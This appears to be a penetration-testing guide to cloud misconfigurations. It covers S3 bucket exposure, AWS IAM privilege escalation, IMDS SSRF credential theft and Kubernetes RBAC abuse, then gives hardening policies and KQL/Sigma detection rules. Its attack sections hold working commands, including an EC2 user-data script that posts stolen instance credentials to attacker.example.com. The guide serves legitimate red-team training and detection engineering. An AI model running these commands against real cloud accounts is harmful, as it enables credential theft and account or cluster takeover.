Cloud Security Misconfigurations: The Pentester's Guide to AWS S3, IAM Privilege Escalation & Kubernetes RBAC
Executive Summary & Threat Landscape
Cloud environments in 2026 are rarely compromised through zero-day software exploits in hypervisors or core cloud infrastructure. Instead, 82% of all enterprise cloud data breaches stem directly from security misconfigurations, over-privileged identity boundaries, and unmonitored API surfaces. With the average public-cloud breach cost rising past $5.17 million, organizations continue to fall victim to the "first domino" effect: a minor configuration oversight that cascades into complete account or cluster takeover.
+-------------------+ +-------------------+ +-------------------+
| SSRF / Exposed | ----> | IMDSv1 / Local | ----> | Over-Privileged |
| Web Interface | | Credential Extraction| | IAM Role / Token |
+-------------------+ +-------------------+ +-------------------+
|
v
+-------------------+ +-------------------+ +-------------------+
| Full Account / | <---- | S3 Data Dump / | <---- | iam:PassRole / |
| Cluster Admin | | DB Exfiltration | | Privilege Escalation|
+-------------------+ +-------------------+ +-------------------+
This technical guide offers a practical, red-team perspective on finding, exploiting, and hardening cloud misconfigurations across Amazon Web Services (AWS) and Kubernetes (K8s). Written for senior security assessors, penetration testers, and detection engineers, this article covers complete execution mechanics, edge-case failure modes, raw JSON/YAML manifests, and production-grade detection logic.
Table of Contents
- The Anatomy of Cloud Misconfigurations
- Phase 1: AWS S3 Storage Exposure & ACL Deep-Dive
- Phase 2: AWS IAM Privilege Escalation Vector Matrix
- Phase 3: The IMDSv1/v2 SSRF Exploitation Chain
- Phase 4: Kubernetes RBAC Abuse & Cluster Takeover
- Field Experience: Edge-Case Failure Modes
- Enterprise Defensive Engineering & Hardening
- Detection Engineering: KQL & Sigma Rules
- Conclusion & Key Takeaways
The Anatomy of Cloud Misconfigurations
A cloud misconfiguration is not a software flaw in AWS, Azure, GCP, or Kubernetes. It is a state where administrative settings, access policies, or architectural designs violate the principle of least privilege, exposing data or operational control to unauthorized entities.
The top 10 most critical cloud misconfiguration archetypes encountered in 2026 assessments:
| Risk Classification | Impact Level | Primary Exploitation Vector | Root Cause |
|---|---|---|---|
| Public S3 Storage | High / Critical | Direct HTTP / S3 API GET | Over-permissive ACLs, disabled Block Public Access |
| Over-Privileged IAM Roles | Critical | AWS API / Credential Theft | Wildcard permissions (*), improper boundary definitions |
| Exposed IMDSv1 Endpoint | Critical | SSRF in Web Layer | Legacy metadata service enabled on EC2 / ECS |
Kubernetes cluster-admin Bindings | Critical | K8s REST API / kubectl | Over-broad RoleBindings assigned to service accounts |
| Exposed Management Consoles | High | Unauthenticated HTTP | Grafana, K8s Dashboard, or Airflow on public IPv4 |
| Disabled CloudTrail / Logging | Medium / High | Audit Avoidance | Missing log integration, short retention periods |
| Secrets Committed to CI/CD | High | Git Scrape / Log Inspection | Hardcoded API keys in pipeline scripts or env vars |
| Unrestricted Security Groups | High | Direct TCP Connection | 0.0.0.0/0 ingress on management ports (22, 3389, 2379) |
| Stale Access Keys | Medium / High | Credential Reuse | Unrotated long-lived IAM credentials |
| Over-Permissive Cross-Account Trusts | Critical | sts:AssumeRole Abuse | Missing ExternalId or wildcard Principal in trust policy |
Phase 1: AWS S3 Storage Exposure & ACL Deep-Dive
Unauthenticated Reconnaissance & Permutation Enumeration
Finding target S3 buckets prior to authenticated access requires mapping naming conventions across an enterprise's digital footprint. Because Amazon S3 global namespace mandates unique bucket names, organizations predictably append operational environment labels.
Using custom Python enumeration scripts, we query DNS for CNAME and A record resolution across bucket candidates:
import concurrent.futures
import requests
TARGET_ORG = "acmecorp"
ENVIRONMENT_SUFFIXES = [
"prod", "production", "dev", "staging", "backup", "data",
"logs", "assets", "customer-export", "db-dumps", "internal", "temp"
]
def check_bucket(suffix):
bucket_name = f"{TARGET_ORG}-{suffix}"
url = f"https://{bucket_name}.s3.amazonaws.com"
try:
response = requests.get(url, timeout=3)
if response.status_code == 200:
print(f"[+] CRITICAL: Publicly Listable Bucket Discovered: {bucket_name}")
elif response.status_code == 403:
print(f"[*] Access Denied (Bucket Exists): {bucket_name}")
except requests.RequestException:
pass
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
executor.map(check_bucket, ENVIRONMENT_SUFFIXES)
Evaluating Bucket Policies vs. Object-Level ACLs
A common vulnerability arises when security teams implement a secure Bucket Policy but neglect individual Object Access Control Lists (ACLs). Conversely, an object might inherit public read rights even if the parent bucket denies directory listing (s3:ListBucket).
Vulnerable Bucket Policy Manifest (JSON)
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowPublicReadAccess",
"Effect": "Allow",
"Principal": "*",
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::acmecorp-customer-export",
"arn:aws:s3:::acmecorp-customer-export/*"
]
}
]
}
CLI Verification Commands
# 1. Attempt unauthenticated bucket listing
aws s3 ls s3://acmecorp-customer-export --no-sign-request
# 2. Inspect Bucket ACL settings
aws s3api get-bucket-acl --bucket acmecorp-customer-export --no-sign-request
# 3. Check individual object ACL when bucket listing returns 403
aws s3api get-object-acl \
--bucket acmecorp-customer-export \
--key Database_Secrets.json \
--no-sign-request
If the object ACL contains the AllUsers URI with READ permissions, unauthenticated download is possible regardless of bucket-level directory listing restrictions:
{
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AllUsers"
},
"Permission": "READ"
}
]
}
Phase 2: AWS IAM Privilege Escalation Vector Matrix
AWS Identity and Access Management (IAM) permissions dictate the boundary of cloud control. When an attacker acquires initial low-privileged credentials, specific IAM permissions permit immediate escalation to full AdministratorAccess.
Vector 1: iam:CreateAccessKey Self-Provisioning
If an IAM user possesses iam:CreateAccessKey permissions on their own identity or another user identity, they can generate new API credentials, bypassing password requirements or expired session tokens.
aws iam create-access-key --user-name targeted-developer
Vector 2: iam:PassRole + ec2:RunInstances
An attacker with iam:PassRole and ec2:RunInstances can launch a new EC2 instance, pass an existing high-privilege instance profile (Admin-Instance-Profile) to it, and extract temporary credentials from the instance metadata service.
aws ec2 run-instances \
--image-id ami-0c55b159cbfafe1f0 \
--instance-type t3.micro \
--key-name attacker-key \
--iam-instance-profile Name=Admin-Instance-Profile \
--user-data "#!/bin/bash
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/Admin-Instance-Profile > /tmp/creds.json
curl -X POST -d @/tmp/creds.json https://attacker.example.com/exfil"
Vector 3: iam:PassRole + lambda:CreateFunction
Combining iam:PassRole with lambda:CreateFunction allows creating a serverless function assigned an administrative execution role to elevate privileges.
aws lambda create-function \
--function-name PrivEscLambda \
--runtime python3.11 \
--role arn:aws:iam::123456789012:role/AdministrativeLambdaRole \
--handler lambda_function.lambda_handler \
--zip-file fileb://payload.zip
aws lambda invoke --function-name PrivEscLambda output.json
Vector 4: sts:AssumeRole Wildcard Trust Relationships
When an IAM Role's Trust Policy contains a wildcard Principal without restrictive Condition keys, any authenticated AWS principal across any AWS account can assume the role.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": { "AWS": "*" },
"Action": "sts:AssumeRole"
}
]
}
Vector 5: iam:AttachUserPolicy Direct Elevation
An account with iam:AttachUserPolicy can attach AdministratorAccess directly to its own user identity:
aws iam attach-user-policy \
--user-name lowpriv-user \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
Phase 3: The IMDSv1/v2 SSRF Exploitation Chain
The AWS Instance Metadata Service (IMDS) operates at 169.254.169.254. Under IMDSv1, requests require no HTTP headers or authentication tokens. SSRF vulnerabilities in web applications allow extracting IAM credentials directly:
# 1. Identify attached IAM Role via SSRF
curl "https://vulnerable-app.com/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# 2. Extract Security Credentials
curl "https://vulnerable-app.com/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebApp-Role"
IMDSv2 Token Acquisition
IMDSv2 requires an initial session token request via HTTP PUT:
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/RoleName
Phase 4: Kubernetes RBAC Abuse & Cluster Takeover
Kubernetes RBAC regulates API permissions within a cluster. Insecure bindings allow service accounts or pods to claim cluster-admin rights.
+--------------------------+ +---------------------------+ +---------------------------+
| Compromised Container Pod| ----> | Mount ServiceAccount Token| ----> | Query K8s API Server |
| (nginx / custom app) | | /var/run/secrets/... | | https://kubernetes.default|
+--------------------------+ +---------------------------+ +---------------------------+
|
v
+--------------------------+ +---------------------------+ +---------------------------+
| Full Cluster-Admin | <---- | Bind ClusterRole/admin to | <---- | Evaluate RBAC Permissions |
| Control & Node Compromise| | Service Account Identity | | (pods/exec, secrets read) |
+--------------------------+ +---------------------------+ +---------------------------+
Auditing Effective RBAC Permissions
kubectl auth can-i "*" "*" --all-namespaces
kubectl auth can-i --list
Abusing pods/exec to Extract Tokens
kubectl exec -it privileged-pod -n kube-system -- /bin/sh
cat /var/run/secrets/kubernetes.io/serviceaccount/token
Field Experience: Edge-Case Failure Modes
- Deny Policies Overriding Allow: AWS IAM evaluates explicit
Denystatements prior to anyAllow. SCPs or Permission Boundaries with explicit Denies block escalation despite user-level permissions. - Implicit IMDSv2 Enforcement: Account-level IMDSv2 enforcement blocks single-request SSRF payloads. Pivot to header-injection or local container filesystem token harvesting (
/var/run/secrets/...). - Session Token Omission: Temporary credentials from
sts:assume-roleor IMDS requireAWS_SESSION_TOKEN. Omitting it triggersInvalidClientTokenId.
Enterprise Defensive Engineering & Hardening
AWS SCP: Enforce IMDSv2 Across All EC2 Instances
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "RequireIMDSv2",
"Effect": "Deny",
"Action": "ec2:RunInstances",
"Resource": "arn:aws:ec2:*:*:instance/*",
"Condition": {
"StringNotEquals": {
"ec2:MetadataHttpTokens": "required"
}
}
}
]
}
Kyverno Policy: Disallow Root Execution
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: disallow-root-execution
spec:
validationFailureAction: Enforce
rules:
- name: check-runAsNonRoot
match:
resources:
kinds: [Pod]
validate:
message: "Containers must run as non-root users."
pattern:
spec:
securityContext:
runAsNonRoot: true
Detection Engineering: KQL & Sigma Rules
Azure Sentinel / Microsoft Defender KQL
AWSCloudTrail
| where EventName in ("AttachUserPolicy", "PutUserPolicy", "CreateAccessKey")
| where ErrorCode == "Success"
| extend TargetUser = parse_json(RequestParameters).userName
| extend PolicyArn = parse_json(RequestParameters).policyArn
| where PolicyArn contains "AdministratorAccess" or EventName == "CreateAccessKey"
| project TimeGenerated, SourceIPAddress, UserIdentityArn, TargetUser, EventName, PolicyArn
| order by TimeGenerated desc
Sigma Rule: Detect IMDS SSRF Attempts
title: Potential IMDS Endpoint Access via SSRF
id: e4b2a8d1-9f3c-4b5a-8e2d-1a2b3c4d5e6f
status: production
description: Detects unusual web application outbound HTTP requests attempting to reach IMDS address 169.254.169.254.
author: Syed Zada Abrar (Andrax Pentester)
logsource:
category: webserver
detection:
selection:
c-uri|contains:
- '169.254.169.254'
- '0xa9fea9fe'
- '2852039166'
condition: selection
falsepositives:
- Legitimate cloud monitoring agents running on web servers.
level: high
Conclusion & Key Takeaways
- Configuration Over Software Vulnerabilities: Policy layer failures (S3 bucket policies, IAM roles, K8s RBAC) cause the vast majority of cloud breaches.
- Identity is the Perimeter: Enforce least privilege, automated IAM access reviews, short-lived tokens, and mandatory MFA.
- Defense-in-Depth Enforcement: Universally mandate IMDSv2, enforce Service Control Policies (SCPs), and deploy Kubernetes admission controllers (Kyverno / OPA Gatekeeper).
Author: Syed Zada Abrar — Lead Cybersecurity Researcher & Founder of Andrax Pentester.
All research and practical command sequences are presented exclusively for authorized penetration testing, red teaming, and educational defense validation.